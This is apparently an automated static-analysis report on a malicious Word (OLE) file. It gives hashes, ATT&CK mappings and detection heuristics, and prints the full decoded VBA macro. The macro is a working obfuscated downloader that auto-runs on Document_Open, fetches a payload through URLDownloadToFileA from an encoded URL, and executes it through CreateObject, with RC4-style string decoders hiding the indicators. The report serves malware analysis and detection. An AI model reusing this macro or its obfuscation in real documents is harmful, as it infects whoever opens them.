Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be6b0ba242ee3ac1…

MALICIOUS

Office (OLE)

36.5 KB Created: 2019-01-22 19:36:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 94c8000e1cb28f14da5ab24090140a4a SHA-1: 4b7b2ab010b21dcf193ed92b7de4920c9bad52a1 SHA-256: be6b0ba242ee3ac1a15659ea41aef66a13d15acc95c740beab9005814805c618
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro utilizes the URLDownloadToFile API to download a second-stage payload to a temporary location and then executes it using CreateObject. The obfuscated nature of the script and the use of API calls for downloading and executing external content indicate a downloader or droppper functionality.

Heuristics 10

  • ClamAV: Xls.Malware.Sload-6830025-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-6830025-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Customizable = True
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    W4FRvY = URLDownloadToFileA(0, W5BNb, mimlZPFKs, 0, 0)
Set TrLBKBrJ9 = CreateObject(RvCiIuQSW(h1iKtPcQ(AkpOy("F3ADF171EEABEEEC986BDC35C7004E32333FACCEE7DF73FF9B68506CA12204F7", "JtbG5xa"), AkpOy("19499D21A8BBEE710A654F91E6EF046E74FDD87A02AAE822AC5BD701BEAD4DC586", "xFKoi"))))
TrLBKBrJ9.Run mimlZPFKs
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    W4FRvY = URLDownloadToFileA(0, W5BNb, mimlZPFKs, 0, 0)
Set TrLBKBrJ9 = CreateObject(RvCiIuQSW(h1iKtPcQ(AkpOy("F3ADF171EEABEEEC986BDC35C7004E32333FACCEE7DF73FF9B68506CA12204F7", "JtbG5xa"), AkpOy("19499D21A8BBEE710A654F91E6EF046E74FDD87A02AAE822AC5BD701BEAD4DC586", "xFKoi"))))
TrLBKBrJ9.Run mimlZPFKs
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()
Hz9nTLRgw
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim TrLBKBrJ9
mimlZPFKs = Environ(RvCiIuQSW(ZHVPTJ60(AkpOy("A800A60E00AD0C55D48E", "qctoc"), AkpOy("F491A17700A325C3F144", "RcSkB9q")))) + ySl5J("\2envnzyztr_6D8tD21~l)v.~lB,Nh._pFueaF-_x8hVXeatfO")
W5BNb = ySl5J("h=VxZtDso>tl=cUp6Tz^snk*N:erC./Gn`Y/QK6qt;0<Ah<`F*e6[5;.<I~JeGUdbaNw_Jr;r:Ut;>kHh.pB-.@aJ5lL~?2id/p}/o>9{~fSKCsPp-HgNonwtnl4Ja/x1dt2V=Oh_Ud4a)<e|m,o`Y/M}\Np\)f\u7GBwtyMvut4Tp7y>zby/4xG9l2qr}a3Y|0tDb00eo`??s:l9ZtDnpW/}QCRwBaAb3aTQE2SDkH/PmYPpKhF]ubKfGtgktBt(C~`y>Qla.ILNBe6yjux(p1Ue=H3=")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4775 bytes
SHA-256: 2eb6b0e3ce63ce6b23ebbdbbdf48134403043ac8754ef2531c2410ff1458b698
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function URLDownloadToFileA Lib "URLMON" (ByVal BBeeSTqvZt4Ti6St2 As Long, ByVal cjta0 As String, ByVal G4yK6lV2qBRx As String, ByVal XefOrirtIJuwmv2Z As Long, ByVal CTB9ON As Long) As LongPtr
Sub Document_Open()
Hz9nTLRgw
End Sub
Sub Hz9nTLRgw()
Dim W5BNb
Dim W4FRvY
Dim mimlZPFKs
Dim TrLBKBrJ9
mimlZPFKs = Environ(RvCiIuQSW(ZHVPTJ60(AkpOy("A800A60E00AD0C55D48E", "qctoc"), AkpOy("F491A17700A325C3F144", "RcSkB9q")))) + ySl5J("\2envnzyztr_6D8tD21~l)v.~lB,Nh._pFueaF-_x8hVXeatfO")
W5BNb = ySl5J("h=VxZtDso>tl=cUp6Tz^snk*N:erC./Gn`Y/QK6qt;0<Ah<`F*e6[5;.<I~JeGUdbaNw_Jr;r:Ut;>kHh.pB-.@aJ5lL~?2id/p}/o>9{~fSKCsPp-HgNonwtnl4Ja/x1dt2V=Oh_Ud4a)<e|m,o`Y/M}\Np\)f\u7GBwtyMvut4Tp7y>zby/4xG9l2qr}a3Y|0tDb00eo`??s:l9ZtDnpW/}QCRwBaAb3aTQE2SDkH/PmYPpKhF]ubKfGtgktBt(C~`y>Qla.ILNBe6yjux(p1Ue=H3=")
W4FRvY = URLDownloadToFileA(0, W5BNb, mimlZPFKs, 0, 0)
Set TrLBKBrJ9 = CreateObject(RvCiIuQSW(h1iKtPcQ(AkpOy("F3ADF171EEABEEEC986BDC35C7004E32333FACCEE7DF73FF9B68506CA12204F7", "JtbG5xa"), AkpOy("19499D21A8BBEE710A654F91E6EF046E74FDD87A02AAE822AC5BD701BEAD4DC586", "xFKoi"))))
TrLBKBrJ9.Run mimlZPFKs
End Sub

Function ySl5J(OQOs5CAkEL As String) As String
    Dim KIdeKZgNQIHxTx(1055) As Byte
    Dim zxHOOfemi() As Byte
    Dim GvBtN7mwyU47
    Dim Srta1VONrIB
    zxHOOfemi = StrConv(OQOs5CAkEL, vbFromUnicode)
    For Srta1VONrIB = 0 To UBound(zxHOOfemi) - 1
        If (Srta1VONrIB Mod 5 = 0) Then
            KIdeKZgNQIHxTx(GvBtN7mwyU47) = zxHOOfemi(Srta1VONrIB)
            GvBtN7mwyU47 = GvBtN7mwyU47 + 1
        End If
    Next Srta1VONrIB
    ySl5J = Left(StrConv(KIdeKZgNQIHxTx, vbUnicode), GvBtN7mwyU47)
End Function

Function RvCiIuQSW(OQOs5CAkEL As String) As String
    Dim KIdeKZgNQIHxTx(1055) As Byte
    Dim zxHOOfemi() As Byte
    Dim GvBtN7mwyU47
    Dim Srta1VONrIB
    zxHOOfemi = StrConv(OQOs5CAkEL, vbFromUnicode)
    For Srta1VONrIB = 0 To UBound(zxHOOfemi) - 1
        If (Srta1VONrIB Mod 5 = 0) Then
            KIdeKZgNQIHxTx(GvBtN7mwyU47) = zxHOOfemi(Srta1VONrIB)
            GvBtN7mwyU47 = GvBtN7mwyU47 + 1
        End If
    Next Srta1VONrIB
    RvCiIuQSW = Left(StrConv(KIdeKZgNQIHxTx, vbUnicode), GvBtN7mwyU47)
End Function

Function WbSVsKdC1(WUhhwItRnmoQU6t9 As String, hCjqlDfhfZHInRAug As String)
WbSVsKdC1 = WUhhwItRnmoQU6t9 + hCjqlDfhfZHInRAug
End Function
Function ZHVPTJ60(OOUDRLtcV9Kq9aHGHz As String, tkG20Hjb8zLeVnEV As String)
ZHVPTJ60 = OOUDRLtcV9Kq9aHGHz + tkG20Hjb8zLeVnEV
End Function
Function h1iKtPcQ(LUlNw9iVMpPg0X9B As String, n77LUwi As String)
h1iKtPcQ = LUlNw9iVMpPg0X9B + n77LUwi
End Function
Private Function AkpOy(lc9Vo2u5WvnEMwbY As String, dRJu7SCTL07O As String) As String
On Error Resume Next
    Dim hIoR4Aofykh(0 To 255) As Byte
    Dim ZhrOOusGT1ZP5Lu0RH(0 To 255) As Byte
    Dim RwGGMY     As Byte
    Dim n92j3ZcU      As Long
    Dim OpTABrP      As Long
    Dim n92j3ZcUdx      As Long
    Dim kx0nbAWA As String
    Dim YZXJad8s4uDVMwMXryK As String
    Dim B9ACiickXjeFbf As Long
    
    For B9ACiickXjeFbf = 1 To Len(lc9Vo2u5WvnEMwbY) Step 2
        kx0nbAWA = Chr$(Val("&H" & Mid$(lc9Vo2u5WvnEMwbY, B9ACiickXjeFbf, 2)))
        YZXJad8s4uDVMwMXryK = YZXJad8s4uDVMwMXryK & kx0nbAWA
    Next B9ACiickXjeFbf
    
    lc9Vo2u5WvnEMwbY = YZXJad8s4uDVMwMXryK

    For n92j3ZcUdx = 0 To 255
      hIoR4Aofykh(n92j3ZcUdx) = n92j3ZcUdx
      ZhrOOusGT1ZP5Lu0RH(n92j3ZcUdx) = Asc(Mid$(dRJu7SCTL07O, 1 + (n92j3ZcUdx Mod Len(dRJu7SCTL07O)), 1))
    Next
    For n92j3ZcU = 0 To 255
      OpTABrP = (OpTABrP + hIoR4Aofykh(n92j3ZcU) + ZhrOOusGT1ZP5Lu0RH(n92j3ZcU)) Mod 256
      RwGGMY = hIoR4Aofykh(n92j3ZcU)
      hIoR4Aofykh(n92j3ZcU) = hIoR4Aofykh(OpTABrP)
      hIoR4Aofykh(OpTABrP) = RwGGMY
    Next
    n92j3ZcU = 0
    OpTABrP = 0
    For n92j3ZcUdx = 1 To Len(lc9Vo2u5WvnEMwbY)
      n92j3ZcU = (n92j3ZcU + 1) Mod 256
      OpTABrP = (OpTABrP + hIoR4Aofykh(n92j3ZcU)) Mod 256
      RwGGMY = hIoR4Aofykh(n92j3ZcU)
      hIoR4Aofykh(n92j3ZcU) = hIoR4Aofykh(OpTABrP)
      hIoR4Aofykh(OpTABrP) = RwGGMY
      AkpOy = AkpOy & Chr$((nXNLmrs(hIoR4Aofykh((CLng(hIoR4Aofykh(n92j3ZcU)) + hIoR4Aofykh(OpTABrP)) Mod 256), Asc(Mid$(lc9Vo2u5WvnEMwbY, n92j3ZcUdx, 1)))))
    Next
End Function
Private Function nXNLmrs(ByVal n92j3ZcU As Long, ByVal OpTABrP As Long) As Long
On Error Resume Next
    If n92j3ZcU = OpTABrP Then
      nXNLmrs = OpTABrP
    Else
      nXNLmrs = n92j3ZcU Xor OpTABrP
    End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.